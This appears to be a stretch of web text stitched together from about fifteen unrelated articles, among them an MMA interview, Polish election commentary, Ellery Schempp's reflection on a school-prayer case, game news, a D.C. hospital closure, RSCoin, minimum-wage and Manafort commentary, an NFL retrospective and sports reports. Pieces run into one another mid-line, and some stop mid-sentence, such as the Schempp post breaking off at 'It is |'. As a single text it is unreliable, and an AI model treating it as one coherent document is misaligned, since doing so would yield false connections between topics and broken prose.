Metz is the franchisor of the lower-profile Hurricane Grill and Wings chain, though, so no one's going to come in from above and change his thinking, or that of any franchisees, for the better there.Discussions about performance-enhancing drugs in MMA are arguably at an all-time high, but UFC featherweight Conor McGregor has a hard time getting worked up about it.
As 145-pound kingpin Jose Aldo and No. 1 contender Chad Mendes hurl PED accusations at one another in the fallout of their postponed championship fight, McGregor (13-2 MMA, 2-0 UFC) remains focused on his own career, which will next see him meet Diego Brandao (18-9 MMA, 4-2 UFC) in the main event of UFC Fight Night 46 this Saturday from Dublin’s The O2. The entire event streams on UFC Fight Pass, the UFC’s online digital network.
“I don’t really care about that stupid s–t,” McGregor told MMAjunkie when asked about his stance on PEDs. “I’m just doing my thing. I’m just performing and getting better. I don’t care what anyone else does.”
Regardless of his stance on PEDs, the fact remains several high-profile fighters have been flagged for cheating in recent months. In the past couple week’s alone, former UFC title challengers Chael Sonnen and Ali Bagautinov have tested positive for EPO, a drug many have suspected to be ramped in the sport, but few have officially been caught abusing.
As a self-proclaimed clean athlete, McGregor says his opponents are free to take any substances they desire. From his perspective, no matter how anyone steps in the octagon – dirty or clean – McGregor has the utmost confidence his skills will reign supreme.
“Take whatever you want,” McGregor said. “I’m still going to whoop your a–.”
For more on UFC Fight Night 46, check out the UFC Rumors section of the site.Election results I’ve seen today from weekend elections in Argentina and Poland and the more general thoughts they have inspired. Rather longer than I anticipated so posted in two parts, though not separated in time given that I am articulating immediate reactions.
The Polish parliamentary election has been bad news for those who share the perspective of Notes on Liberty in that Law and Justice, a social-national-religious sort of conservative party with strongly statist and populist inclinations, has taken over from the more open market/open society inclined Civic Platform. However, a new party, Modern (strictly speaking ‘.Modern’, but I’ll ignore that in the future as too likely to be mistaken for a typo, it is at least worth noting as suggesting a technocratic commitment to a digital age, reminiscent of the development of the e-state in post-Communist Estonia) which leans towards liberty in economic and social spheres, in comparison with most of Civic Platform and even more in comparison with Law and Justice, has entered the National Assembly, compensating for some of the votes lost by Civic Platform to the populist right.
We might at least hope that the next election in Poland produces a coalition government between Modern and Civic Platform, and hope that Law and Justice does not do too much harm during the coming years in which it will control the government and the (non-executive) presidency on its own.
The Polish political party structure has been confusingly variable since the end of Communism, with names of politicians reappearing from now extinct parties in new parties gathering a different if overlapping spectrum, and with different international partners. Modern’s leader, Ryszard Petru, is at least connected with the early phase of post-Communist politics as a disciple of Leszek Balcerowicz, who played a leading role in the transition to market capitalism and the earlier phase of liberal-centrist politics. Both Petru and Balcerowicz are ‘Europeanist’ in the sense of taking a positive attitude to the European Union, which is also the outlook of Civic Platform. Balcerowicz is even director of the College of Europe, a postgraduate institution in Bruges, Belgium, which educates many of those working in European institutions and in their general atmosphere.
This illustrates a major claim I put forward here about European politics, that is of a drift of market liberals, classical liberals and libertarians towards advocacy of the European Union, and an increasing tendency of the ‘Eurosceptic‘ right, even those with some libertarian-conservative history, to be caught up with hardcore populists even if some of the Eurosceptic right has pro-liberty inclinations. That part of the European right has always been more libertarian-conservative than libertarian-cosmopolitan.
The leading ideologue of libertarian-conservative Eurosceptics in Britain, Conservative Party Member of the European Parliament, Dan Hannan is very touchy about suggestions of backward looking nationalism and chauvinism, emphasising a cosmopolitan family background. However, despite these protestations, Hannan is a great believer in the superiority of British (and Anglosphere) ways, and in addition has always been for ‘democratic controls on immigration’, i.e. populist limitations on the market in labour and individual rights to mobility. The second leading British ideologue in that spectrum, and previously a close associate of Hannan, Douglas Carswell has joined the the United Kingdom Independence Party (UKIP), which has unmistakably populist inclinations in economic and social policy beyond restrictions on immigration. Hannan prefers to praise UKIP as ‘patriots’ rather than confront this.
Hannan engineered the formation of a eurosceptic right group in the European Parliament after David Cameron was persuaded that leaving the main centre-right group (European People’s Party) was a necessary price for keeping Tory Eurosceptics acquiescent with his leadership. Hannan’s European Conservative and Reformists Group does not include Modern or Civic Platform, but it does include Law and Justice, which gives a good idea of what part of the European political spectrum it appeals to, i.e. not those inclined to social and cosmopolitan liberty. Most disturbingly associate members include the Justice and Development Party in Turkey, i.e. the AKP of Recep Tayyıp Erdoğan associated with corruption, police brutality, politicisation of the judiciary, social media blocks, attacks on the media and all free speech, along with the demonisation of anyone not part of the more conservative parts of majority Turkish culture.
The idea that liberty can be combined with Eurosceptic discourse is declining, though it has been influential in some libertarian circles, particularly in the UK and Slovakia to be the best of my knowledge. There has been a recovery of pro-EU views (if highly qualified by the wish for reform) amongst the Greek liberty community, even after the recent Euro currency disasters. The Slovak eurosceptic libertarians seem to have collapsed. The Czech hero of European right wingers of that tendency, Vacláv Klaus, has turned out to be a harsh social conservative and Putin fellow traveler of a type obnoxious to the anyone of genuinely pro-liberty tendencies, leading to his exclusion from polite libertarian circles as seen in the loss of his Cato fellowship. A warning there surely about the perils of regarding the sovereigntist eurosceptic right as natural allies of liberty. Personally I believe the same applies to the Republican right in the US. That is of course another story, but just look at Donald Trump’s ascendancy and think about that. The German Free Democrats are making a come back after a period it seemed they might lose the most economically free market part of the electorate to AfD.
Small indications in some cases, but it all adds up to an overall and increasingly dominant picture (though course with exceptions) in which consistently pro-liberty forces support the European Union, which is very much the case in Turkey, even if desiring considerable reform. The strengthening of the populist right (Northern League in Italy, National Front in France, Swedish Democrats, Golden Dawn in Greece, Freedom Party in the Netherlands etc as well as those already mentioned) together with a populist-socialist surge has pushed those engaged with a consistent politics of individual rights and cosmopolitan openness towards a pro-EU centre.
The left populist surge has already receded in Greece where Syriza is in transition to standard social democracy while still using a more radical rhetoric, but has some energy elsewhere in Europe: Podemos in Spain, two left of social democracy parties in Portugal, Sinn Fein in Ireland, Jeremy Corbyn’s election as Labour leader in Britain. The left populist surge is less strong than its right wing equivalent and despite what the socialist intelligentsia in the UK believe the socialist surge within the Labour Party does not reflect a broader shift in British public opinion. Anyway, we are in a period where pro-liberty forces are coalescing with centrist forces in defence of a continuing EU of some kind, with some limitations on national sovereignty, not completely closed to refugees, not in thrall to an enclosed defensive traditionalist, legacy Christian identity politics.This is a guest post by Ellery Schempp.
Note: In 1956, when Ellery Schempp was a high school junior, he protested the required daily Bible reading at his school. That protest soon led to a lawsuit which, in 1963, resulted in a Supreme Court decision ending mandatory Bible readings in public schools for good. The Atlantic has a nice article about the case here.
On the 50th anniversary of his victory, I asked Ellery if he would offer a reflection on the case and his role in it.
***
I was in a contemplative mood as I wrote this. Somewhat overwhelmed by good wishes from good people.
I thank you for remembering this anniversary. I am happy to have lived long enough to remember not only the Abington decision (1963), but also pioneers like Vashti McCollum (1948), Steve Engel (1962), Madalyn Murray (joined with Abington, 1963), and later cases such as Lemon and Weismann, Epperson, Edwards, Griswold, many others. All these cases came from real people, and often the children suffered.
The really neat thing is that over 50 years, the Supreme Court has recognized the Establishment Clause in the First Amendment, that is, that government does best when separated from religion. These many court decisions have ratified Engel, Abington, et al., by justices appointed by five presidents. But I doubt that the present Court radicals would agree with these decisions.
I am happy that devotional worship of the Bible in public schools has diminished. I think students are now more free to think for themselves and to think about evidence, without some authority figure or “scripture” to determine their understandings.
It does government no good to rely on magical thinking or prayer, and it does religion no good to deny reality.
I do not agree with “freedom of religion.” We all agree that anyone is free to imagine anything in their minds and dreams — fairies, pixies, invisible gods or unicorns. But we do not allow religious zealots to have prayer meetings in the middle of a highway, nor to offer up burnt offerings of animals on an altar, nor to let children die via faith healing. It is not “freedom of religion” that Catholic bishops and anti-abortion, anti-contraception extremists want, it is religious control. They already have freedom to follow their dogmas in their personal lives, but they do not have the right to impose their dogmas on all the rest of us. It is a dangerous doctrine the extremists promote — that “freedom of religion” gives anyone the privilege to opt out of laws they don’t agree with, to opt out of societal goals of fairness in employment; non-exploitation of women and children; non-discrimination, and other matters of social justice.
I think we as freethinkers must continually be conscious of why we believe what we believe. We think that evidence-based belief systems are difficult, but better and ultimately more powerful than faith-based beliefs. But attending this we must be aware that our our brains can fool us in dreams, hallucinations, hypnopompic/hypnogogic states between sleep and wakefulness, anecdotal tales, and via confirmation bias.
What is important to me now?
I am glad that Friendly Atheists and younger people carry on with larger understandings for inclusiveness in our human family. It is |
while better social services require that the rich pay higher taxes. These fundamental conflicts lay just beneath the social upheavals all over the world, which came into maturity with the global recession and will continue to dominate social life for years to come. The outcome of this prolonged struggle will determine what type of society emerges from the political tumult, and will meet either the demands of working people or serve the needs of rich investors and giant corporations.
Shamus Cooke
Shamus Cooke is a social service worker, trade unionist, and writer for Workers Action (www.workerscompass.org) He can be reached at [email protected] Sam HD: The First Encounter reminded me of the simple joys of wave-based shooting mayhem, and news of Serious Sam HD: The Second Encounter only made me happier. However, the news we all want to know is this: Is Serious Sam 3 ever going to arrive, and if so, when?
Well, we put that question to Croteam boss Roman Ribaric in no uncertain terms, and we were pleased with the answer. Serious Sam 3 is totally still in the works, and what's more, we should be hearing more about it very soon.
"Serious Sam 3 is happening for sure," Ribaric tells us. "It is currently planned to be finished in 2010."
There you have it. A brand new, all-original, ball-busting adventure for Sam "Serious" Stone by 2010. In the meantime, Destructoid has much more Serious Sam discussion on the way as part of a neat interview we ran with Roman. Stay tuned for Destructoid for much more exclusive Serious Sam fun!
You are logged out. Login | Sign upFinal Fantasy XIII-2 Coming To Steam Next Month; Will Support 60fps, 1080p
By Ishaan. November 11, 2014. 9:30am
Final Fantasy XIII-2 is coming to Steam December 11th, according to a trailer that was published on Square Enix’s YouTube channel, and subsequently pulled.
While the trailer itself is no longer on Square’s YouTube, Final Fantasy XIII-2’s Steam page mentions a December release as well.
Steam also mentions that the PC version of the game will be capable of running at 60 frames-per-second, and will support resolutions of 720p, 1080p, and more. It will also include a range of DLC from the console release of Final Fantasy XIII-2.
Update: Square Enix have confirmed the December 11th release date, and also say that the original Final Fantasy XIII on PC will be updated in December to include customizable resolutions.In a closed-session vote Wednesday, the board of Washington, D.C.’s only public hospital decided to close its nursery and delivery rooms.
As the Washington Post reports, now the women of Southeast D.C. (which is predominantly black and low-income) have even fewer maternal-health options.
Not only is the decision potentially devastating to pregnant women in Southeast, but the manner in which the decision was made was shady as all hell.
According to the Post, regulators shut down United Medical Center’s obstetrics ward after finding “serious medical errors in the treatment of pregnant women and newborns.” UMC had been closed since early August, but many in the community—including elected officials and maternal-health advocates—had said they wanted to see the ward reopen.
LaRuby May, chairwoman of the UMC board, said that the hospital decided to shut down the obstetrics ward because of financial and safety concerns.
Advertisement
“Our decision is really based on the needs of the community,” May told the Post. “Mothers had already decided that we’re not the place where they want to be.”
But the decision could further jeopardize the health of women in Southeast D.C., an area that is predominantly black. Although most women living in wards 7 and 8 (citizens of those wards are most likely to visit the hospital) give birth in other parts of the city, the Post notes that UMC provided a place for the women of Southeast to give birth in emergencies. It also served as a “de facto clinic, providing prenatal care to walk-ins.”
Here’s the really shady part: The closed-door vote may have been illegal. At the very least, UMC is being opaque enough about its decision that it warrants a closer look.
Advertisement
For example, Chairwoman May said that she couldn’t provide the Post with the final vote tally on the resolution to shut down the obstetrics ward—and failed to give a reason. The legal rationale for the voting on the resolution behind closed doors was also “unclear.” According to the paper:
While private discussions are common for matters involving contracts, personnel matters and litigation, boards usually reconvene in public for votes. May said she had been advised by the board’s lawyer that the closed session was proper but could not cite any specific statutory exemption that justified voting in private.
Advertisement
The director of the D.C. Office of Open Government, Traci Hughes, also told the paper that the city’s Open Meetings Act forbids public bodies like UMC from voting on a resolution in closed session.
The decision comes at a time when new reports chronicling the racial disparities in maternal health care are making waves. One study cited by a recent NPR investigation found that black women were 243 percent more likely to die from pregnancy- or childbirth-related causes than their white peers.
Vincent C. Gray, the D.C. council member representative for Ward 7 and chair of the council’s health committee, said that the UMC board’s decision “sends a powerfully negative message” to Southeast D.C.
Advertisement
“It says that, in terms of the allocation and equity of services, the people on the East End of the city are seen as not sufficiently worthy to have available to them one of the most important services a population can have,” Gray said.
Gray added that he would like to review the board’s decision in a future public hearing.
Read more at the Washington Post.The interest of central banks in the concept of digital currency seems to be rising. Last month, People’s Bank of China Governor Zhou Xiaochuan suggested that the central bank is not only interested in digital currencies but is also researching related technologies. The Reserve Bank of Australia has also hinted at the possibility that Australian dollars might come in digital form in the future.
According to latest report by MIT Technology Review, the Bank of England asked researchers at University College London to invent a digital currency with a more centralized design. Termed as RSCoin, the system uses cryptography to create a kind of digital cash that is resistant to counterfeiting.
Similar to Bitcoin, verified transactions are added to a digital ledger that records all the movements of the currency. However, in contrast to Bitcoin’s underlying blockchain technology, RSCoin’s ledger will remain solely with the BoE, which would also retain a “special encryption key” that could be used to control the money supply—for example, to take actions like the QE programs.
The central bank will elect a small group of third-party organizations to process new transactions and submit them for inclusion in the central ledger. Sarah Meiklejohn, one of the researchers in the project, believes that large commercial banks are apt to play that role.
The bank could also choose to publish that ledger for transparency’s purposes, she said, further suggesting the possibility of making transactions partially or fully anonymous.
She says that RSCoin’s centralized design will allow handling of very large numbers of transactions, unlike Bitcoin. Meiklejohn said that she is in talks with the BoE about conducting more research on how it might be implemented in practice.
RSCoin has been tested using 30 different computers inside Amazon’s cloud computing platform so far. A paper on RSCoin has also been presented at the Network & Distributed System Security Symposium in San Diego last month.This article appears in the April edition of the Financial Post Magazine. Visit the iTunes store to download the iPad edition of this month’s issue.
President Barack Obama’s State of the Union proposal to raise the federal minimum wage in the U.S. immediately set off a debate over whether Canada should do the same. And really, why not? Obama proposes raising it from US$7.25 to US$9 an hour, but that seems chintzy. Who wants to live on $9 an hour? I say anything less than $45 is an outrage. I know, I know, you’re going to tell me that’s too much, that it will “cost jobs.” That’s what business types like you always say. Why, if supply and demand were what governed wages, it wouldn’t even be at the level it is now.
Chances are you’ve heard some version of this argument. Proponents of raising the minimum wage are always in favour of setting it at the “right” level, which, by a remarkable coincidence, is always a little more than it is. Suggest quintupling it instead and you get a withering look: an implicit acknowledgement, that is, that setting wages above market levels throws people out of work.
Yet that is the effect of any minimum wage, at whatever level. The market wage is the wage that just equates the supply and demand for that type of labour. For a certain type of worker, lacking either skills or experience, the market wage will be relatively low. The point of a minimum wage is to raise their wages above the market level, that is to a point at which some workers willing to supply their labour will find themselves surplus to the demand — or, in other words, unemployed. QED.
While efforts have been made to complicate this analysis in recent years, empirical data continues to bear out the basic logic of a downward-sloping demand curve: For every x% you raise the minimum wage, you lose y% in jobs, with particular harm to young people and recent immigrants. Yet politically the minimum wage remains as unassailable as ever. Why?
I think it is because people imagine the alternative is… nothing. Let people starve, that is, to sate some sadistic God of Laissez-Faire. But that is not the alternative. The alternative to the minimum wage is a minimum income: paid not by employers, but by the state.
The minimum wage is typical of so many bad policies, in so far as it attempts to solve a distributional problem — some people’s incomes are too low — with an instrument designed for a very different purpose. Wages are a kind of price: their role is to connect buyers and sellers in the market for labour in such a way as to ensure there are no shortages and surpluses. Stop them from doing that, and shortages and surpluses you will get.
Fixing wages and prices in this way isn’t an example of Big Government; it’s rather what I call phoney small government. Part of its appeal is that it appears less interventionist than the alternative, as proposed by that early economist Robin Hood: Take from the rich and give to the poor. But it isn’t. It’s just less effective. Pass a law demanding that employers pay each worker a higher wage than they’d prefer to pay, and they have an easy (and perfectly legal) way to avoid it: hire fewer workers. Whereas the Canada Revenue Agency is rather harder to get around.
Social obligations should be socially financed. As a collective ideal, distributional justice is ill-suited to being pursued through markets. That’s not what they’re for. Let us stop shunting our responsibility off on others. In place of the minimum wage, let us fix a minimum income.Two big bombshells on Monday night: The U.S. government reportedly wiretapped former Trump campaign manager Paul Manafort, and prosecutors told him that they planned to indict him for his role in the Russia investigation. This all appears to be part of special counsel Robert Mueller’s “shock and awe” approach to investigating any potential connections between the Trump campaign and the Kremlin.
Assuming those stories are accurate, Trump should be worried, and here’s why: Mueller appears to be trying to “flip” Manafort.
Here’s what The New York Times said:
The special counsel, Robert S. Mueller III, then followed the house search with a warning: His prosecutors told Mr. Manafort they planned to indict him, said two people close to the investigation.
“[T]he tactic that Mueller is using–telling Manafort that he will be charged–is generally used when prosecutors are trying to get a defendant to ‘flip.’ This strongly suggests what we’ve long expected–that Mueller is trying to ‘flip’ Manafort,” said attorney Renato Mariotti, a former federal prosecutor.
Mariotti contends that targets are more likely to flip when there is sufficient evidence to implicate they might get convicted and serve time in prison. We are getting clear indications that is the case. For one, a federal judge found probable cause to grant a “no knock” FBI warrant on Manafort. In addition, investigators got a FISA court to agree to a wiretap (and then got that tap extended.) As Lawfare blog reports, under Title I of the Foreign Intelligence Surveillance Act, a person can be targeted if the government establishes probable cause that he or she is the “agent of a foreign power. In other words, you need to present strong evidence to a court to obtain both of those warrants.
The New York Times article indicates that Mueller’s team subpoenaed Manfort’s attorney which is highly unusual, as most interactions are protected by attorney client privilege. An added move to pressure Manafort into giving up the goods on whoever may be implicated in any alleged crime, including, of course, President Trump.
“When the indictments start rolling out, I predict an avalanche. And for Trump to escape being an undicted co-conspirator [would] be miraculous,” Lawrence Tribe, a Harvard Law professor recently stated on twitter.
The fact this story was leaked by two people “close to the investigation” is not random. It was most likely done on purpose to try to get any potential co-conspirators to turn on one another and get nervous.
“It’s a way to get other rats to run in and say, ‘me first, me first,’” Charles Clayman, a criminal defense attorney and former prosecutor said in a recent interview regarding Mueller probe leaks. “There’s always a race to the courthouse, because there’s no honor among thieves. The idea is to make other co-conspirators think the race has already begun.”
Manfort has denied he ever knowingly communicated with Russian operatives. The FBI is probing him for possible tax law violations, potential money laundering, and failure to disclose foreign lobbying.
LawNewz will update this article with more legal analysis.Jon Ritchie, the thoughtful former Oakland Raiders fullback -- no, it is not an oxymoron -- saunters into the television studio for an interview he has been dreading.
"I just found out I didn't have to do this," says Ritchie, an ESPN analyst. "I didn't know that. But I already said yes, so "
So, here he is, bracing for a cathartic 20-minute therapy session regarding the famous "Tuck Rule" divisional playoff game against the New England Patriots. It's hard to believe, but it happened 10 years ago, on Jan. 19, 2002.
"It was the worst loss I'd ever experienced," Ritchie says at one point. "You know, I'd just as soon never talk about it again."
But three days later, in a hallway at ESPN headquarters in Bristol, Conn., he feels compelled to talk some more. He was worried that he had come across as too bitter.
"I was conflicted," Ritchie says. "As a player, you want to tell it like it was. As an analyst, you want to be a little more detached. I really didn't know how to navigate those questions."
He isn't the only one. ESPN recently interviewed a number of the participants in the game. A decade has passed, but emotions remain remarkably close to the surface.
It was the last game at Foxboro Stadium. A fresh snowfall and the first prime-time NFL playoff kickoff made for a dramatic setting. But this wildly exceeded expectations. According to Patriots owner Robert Kraft, it was the best game in the stadium's 31-year history.
Patriots quarterback Tom Brady famously fumbled -- or did he?
Here, in the words of those who were on the field that night, is a narrative of that historic game:
Tom Brady, Patriots quarterback: "I remember getting caught in traffic two and a half hours before the game and having to call our security guy to have a police escort to come get me to the game. I remember being out there in warm-ups and just watching these perfect snowflakes drop."
Tim Brown, Raiders wide receiver: "I think when we got the forecast everybody was saying, 'Oh, the weather was going to be too bad, the Raiders won't be able to go out there and play a decent game.' I think we sort of took umbrage to that, and you really wanted to go out and prove to people it didn't matter what the weather was."
Troy Brown, Patriots receiver: "It was a night playoff game in New England and we know the people here in New England can get a little bit rowdy. It was really a chance for us to kind of make a name for ourselves against a team with players like Jerry Rice and Tim Brown and Rich Gannon."
Trailing 13-3 with fewer than eight minutes to play, Brady scores the first rushing touchdown of his career, from 6 yards.
Troy Brown: "I saw [Brady] get up and spike the ball, then I saw him fall over. He looked [like] the young, clumsy quarterback that he was at that time."
The Raiders run a total of 13 plays in two possessions, but can't run out the clock. The Patriots, still trailing 13-10, take over on their own 46 with 2:06 left.
Eric Allen, Raiders cornerback: "I'm an older guy, so on breaks whenever there was some downtime I would never go to the huddle, I would basically hang out on the sideline. So here's this young quarterback that comes over and he's speaking with Charlie Weis, the offensive coordinator at the time, and he says, 'We're going to go 3 by 1, we're going to throw the slant backside.' So I dashed to the huddle myself and I set the play up. Basically I say, 'Hey, they're going to go 3 by 1, so linebacker make sure you're in that first window.'"
Tim Brown: "I was watching him the whole way, just because that's Charles Woodson and I'm a fan too. If he gets the chance to strip a ball, that's what he is going to do."
Charles Woodson looked as if he made a game-saving play; Tom Brady thought he had made a grave error. Matt Campbell/AFP/Getty Images
Eric Allen: "[Brady] runs a slant, he's going to throw it in the first window, he sees the linebacker and he pulls the ball back to pump it."
Troy Brown: "Watching the pressure come in on Tom, and you want to scream out, 'Watch out, Tom!'"
Walt Coleman, game referee: "I'm about 12 yards deep and probably 10 yards away from Brady. At some point during the process, the ball disappeared from me, and so I couldn't see exactly what happened and when the ball came out of Brady's hand."
Tom Brady: "When Charles hit me on that play and I dropped the ball, I thought, 'Oh, man this is not looking good.'"It’s just a quick jump across the Atlantic, a two-day turnaround. But Bernie Sanders' decision to leave the campaign trail late Thursday and head to a Vatican City conference later this week still has some allies scratching their heads and wondering whether it’s the best use of the underdog’s limited time.
The problem isn’t the optics of appearing at an academic-feeling event with two leftist South American presidents who’ve clashed with the United States. It’s not the potential appearance of politicizing the Vatican — an accusation he faced as soon as the trip was announced last week.
Story Continued Below
Instead, it’s the Vermont senator’s departure from New York in the final days before an election that’s pivotal to his bid for the Democratic nomination. Sanders is trailing Hillary Clinton by double digits in the polls and in need of a competitive performance in the delegate-packed state, and his decision to jet to Rome has heightened the anxiety level of supporters who don’t think he has the luxury of stepping out of the primary crucible.
“When he becomes president, he can meet with the pope constantly. But I’d rather him become president [first] so he can have more than a theoretical conversation," said New York state Sen. James Sanders Jr. (no relation) of Queens, a Bernie Sanders backer who said the candidate stands to make serious headway among African-American voters — a key part of Clinton’s New York base — if he can spend time with them, telling his story, in the closing days of the race. “I wish that the trip to the Vatican were at a different time. [But] when the pope calls, what are you gonna do? This is one of the most progressive popes ever.”
Such thoughts are common among Sanders’ allies, who for weeks have played up the importance of his performance in New York — his birth state, and Clinton’s home state — as he claims momentum coming off wins in eight of the past nine contests. Any opportunity to significantly break into Clinton’s lead in New York could change the public narrative of the race, they think, even if such a result wouldn’t dramatically change Sanders’ position in the pledged delegate contest. Sanders campaign aides have always said he performs best in states when he’s able to spend serious time and money, holding rallies and advertising heavily, pointing to his significant victories in New Hampshire, Michigan and Wisconsin as evidence.
Sanders’ Vatican visit is an unusual one for a candidate, even within the context of international trips taken by presidential hopefuls.
While most international trips during campaign season come after the conventions — such as open meetings and addresses in the United Kingdom or Israel, or in Barack Obama’s case, Germany in 2008 — the senator is only scheduled to deliver one brief speech and he is not slated to publicly meet with any foreign leaders, let alone the pope.
The conference — celebrating the 25th anniversary of an encyclical that came at the end of the Cold War — will also be attended by Bolivian President Evo Morales and Ecuadorean President Rafael Correa, but the majority of featured participants are academics like Columbia University's Jeffrey Sachs, a Sanders adviser.
Few Sanders allies are willing to criticize the senator for the trip, even privately. To them, the decision makes perfect sense: If any politician is going to visit the Vatican now, of course it would be Sanders, a candidate who regularly invokes Pope Francis in his stump speeches and who is widely thought to relish the chance to air his message of combating inequality from a global platform.
The thinking, in Sanders’ circles, is that a swift return to New York on Saturday is quick enough to keep his supporters engaged ahead of Tuesday’s vote — and to keep his international sojourn from becoming a significant distraction.
But the trip came under scrutiny almost as soon as it was announced, with confusion reigning surrounding how, exactly, the invitation landed in Sanders' hands.
And there were the questions: Why leave the state in crunch time, if he’s looking to replicate his surprise wins, or even his close call in Missouri — especially when he’s criticized Clinton for leaving states in the final days before they vote over recent months? Is it a political bank shot he’s attempting, aiming to get a bounce out of a foreign trip to the spiritual home of a key constituency?
While three out of the five most Catholic states in the nation will be voting in the next two weeks — New York, Rhode Island and Connecticut — Sanders’ team insists there is no political calculus behind his choice to leave New York for Rome after Thursday night’s debate. They contend that any attempt to read the tea leaves and suggest that he is making a play for the large Latino Catholic vote in New York, or in the upcoming states that have an even bigger percentage of Catholics, is misguided.
“Some things are just not about politics,” said Sanders communications director Michael Briggs, a sentiment echoed by multiple people close to the campaign who insisted Sanders’ trip is simply a rare opportunity of which the senator himself was eager to take advantage.
His campaign expects Thursday night’s debate to dominate news coverage on Friday, affording him the chance to get away while the attention is on his latest tangle with Clinton — the story line of a week in which tensions between the two have been rising by the day in a primary that Clinton is expected to win.
“I have not heard anybody [complaining about the schedule],” said Briggs. “He will be gone for a very short period, for a very important meeting at the Vatican. He will probably spend less time away from New York this week than Hillary Clinton spends going to fundraisers in Florida, Virginia and California. He’s taking New York very seriously."
Briggs noted that when Sanders is in Italy, Clinton is also set to be out of the state — in California for a campaign cash swing that includes a big-money event for other Democrats hosted by George and Amal Clooney, an event that has come under much fire from Sanders and his allies who rail against Clinton’s high-dollar fundraising.
Campaigning as the former senator from New York, Clinton has appeared all over the state, but so has Sanders, who has held a series of packed and occasionally star-studded rallies. The hope now, said a handful of the senator’s New York backers, is that the energy sparked by his recent appearances — including a massive rally scheduled for Wednesday evening in New York City — sustains the door-knocking and phone-banking done by his volunteers and campaign workers in the closing hours.
“By the time we get through the debate Thursday night, people will be pretty well-informed about the candidate,” said Karen Scharff, the executive director of Citizens Action of New York and a co-chair of the Working Families Party, both of which support Sanders. She added that Sanders appeared to be scheduling multiple events per day before departing in order to get himself in front of as many voters as possible — and that his armies of volunteers are preparing to pick up the pace.
But that hasn't stopped the eyebrow-raising.
“I have heard that,” acknowledged Scharff. “It’s tight. I always wish that we had more time."In 2002, Sony and Microsoft were sued by Immersion for patent infringement for the use of vibration functions in their gaming controllers.[1] Specifically, they were accused of infringing on claims in U.S. Patent 6,424,333 and U.S. Patent 6,275,213 (filed 2000 and 2001 as extensions of U.S. Patent 6,088,017, itself filed 1998, all "Tactile feedback man-machine interface device").[2] Both patents were continuation applications of a patent application originally filed in November 1995.[citation needed] Nintendo was not involved in the case, as the technology used in the Rumble Pak and GameCube controller (and, subsequently, the Wii Remote) is based on a different design, for which Nintendo holds the patents U.S. Patent 6,200,253 and U.S. Patent 6,676,520 based on a Japan patent application filed on October 9, 1995.
While Microsoft settled out of court, purchasing a 10% share in Immersion,[3] Sony continued to defend the case. Immersion's lead attorney in this case was Morgan Chu.[4] The defense centered on a force feedback controller patent which Sony licensed from Logitech during 1998.[5] Sony lost, with the jury awarding Immersion $82 million[6] for the seven years that the DualShock controller had been on the market,[citation needed] which with the judge's addition of pre-judgment interest and costs, totalled $90.7 million.[6] In addition, the judgment required Sony to suspend the sale of all controllers containing Immersion-patented technology, including all PlayStation and PlayStation 2 console packages. Sony appealed this decision and has been able to sell its products while the appeal was being heard. On 2006-03-12 Sony lost the appeal at the US District Court level and subsequently appealed to the US Court of Appeals for the Federal Circuit.[7] The order to halt sales of the infringing controllers was again stayed pending the outcome of the appeal.
At E3 2006, Sony announced that vibration functionality would be removed from the PlayStation 3 controller, reasoning that the vibration would interfere with the motion-sensing feature of the controller. It has been speculated that the removal of vibration is related to the lawsuit,[8] and Immersion President Victor Viegas has been dismissive of Sony's stated rationale.[9]
On March 1, 2007, Sony Computer Entertainment and Immersion Corporation announced that both companies have agreed to end their patent litigation, and have entered a business agreement to "explore the inclusion of Immersion technology in PlayStation format products."[10] As part of the agreement reached between the two companies, Immersion will receive the full amount dictated by the District Court, which with interest is stated to total $97.2 million, in addition to royalties. On top of the $30.6 million in compulsory license fees which Sony had paid Immersion over the previous two years, Sony will make 12 more licensing payments through the end of 2009 totaling $22.5 million, during which other royalties may also be paid.[6] The agreement also provides Sony with new rights with respect to Immersion's patents. The termination of the litigation will have no material impact on Sony's consolidated earnings forecast announced on January 30, 2007.[10]Mamadou Sakho refused to be considered a hero for France after the defender's two-goal haul on Tuesday booked his country's berth at the 2014 World Cup in Brazil.
The Liverpool No.17 found the net in the 22nd and 72nd minutes at the Stade de France as Les Bleus downed Ukraine 3-0 to successfully overturn a first-leg deficit.
Afterwards, however, the 23-year-old was in modest humour and pledged that Didier Deschamps' side must continue to learn ahead of the big tournament in seven months' time.
He commented: "There's pure happiness and we've written a page in French football history with this.
"A lot of people didn't believe in us but there were also plenty who did. France showed a lot of virtues and it was extraordinary for everybody.
"I don't see myself as a hero; the team was the hero in this one. I'd never previously scored a double in my career.
"We're going to Brazil and we have to take on board the lessons from all of our matches, not just this one."DAVIE, Fla. -- Miami Dolphins running back Reggie Bush walked into the media room with a smirk on his face Wednesday.
“Packed house,” Bush said with a grin. “I wonder why.”
Miami's rookie head coach, Joe Philbin, entered minutes later and also noticed a larger-than-usual media corps. It was quiet confirmation that the Dolphins finally are doing something right.
It’s been four years since the Dolphins have been this interesting. That was 2008, when former coach Tony Sparano led Miami to an unexpected 11-5 season and an AFC East title.
Since then, the Dolphins have pretty much been a bad punch line. This summer alone, Miami had to slog through a winless preseason and handle the Chad Johnson fiasco on national television during HBO’s “Hard Knocks.” A 1-3 start to the regular season also didn’t help things.
But the Dolphins are suddenly interesting again. They have won two straight with a talented rookie quarterback (Ryan Tannehill) and a physical defense. Many are wondering whether Miami is just a flash in the pan or potentially a surprise team in the second half of the season.
The Dolphins (3-3) are at a crossroads, and Sunday they travel to MetLife Stadium to face the rival New York Jets (3-4). This matchup will greatly affect the direction of both AFC East teams.
“It’s a big game,” the usually calm Philbin said. “No question about it.”
Added Jets coach Rex Ryan, “It’s a huge game for both teams. If it’s said otherwise, it’s not true, because nobody believes it. Everybody knows how huge this game is.”
Is Miami a contender or pretender?
This rebuilt Miami team wasn’t expected to compete for a playoff spot in 2012. But the division is mediocre and so is the AFC, and suddenly the wild-card spots are wide open for any teams that can get hot.
"It's a big game," Dolphins coach Joe Philbin said of Sunday's matchup with the Jets. "No question about it." Kirby Lee/Image of Sport/US Presswire
The veteran Jets have been there before. They went to back-to-back AFC title games in 2009 and 2010. It’s the younger, less experienced Dolphins who have to prove they are legit.
This is a golden opportunity for Miami to bury the Jets and send them packing for the season at 3-5. That is a record New York most likely wouldn't be able to recover from, especially with its best player (CB Darrelle Revis) and No. 1 receiver (Santonio Holmes) lost for the season.
If the Dolphins are legit, they won’t let New York “ground and pound” their defense. Miami’s run defense is fifth in the NFL, and another good performance would force the New York to go to its air attack and quarterback Mark Sanchez.
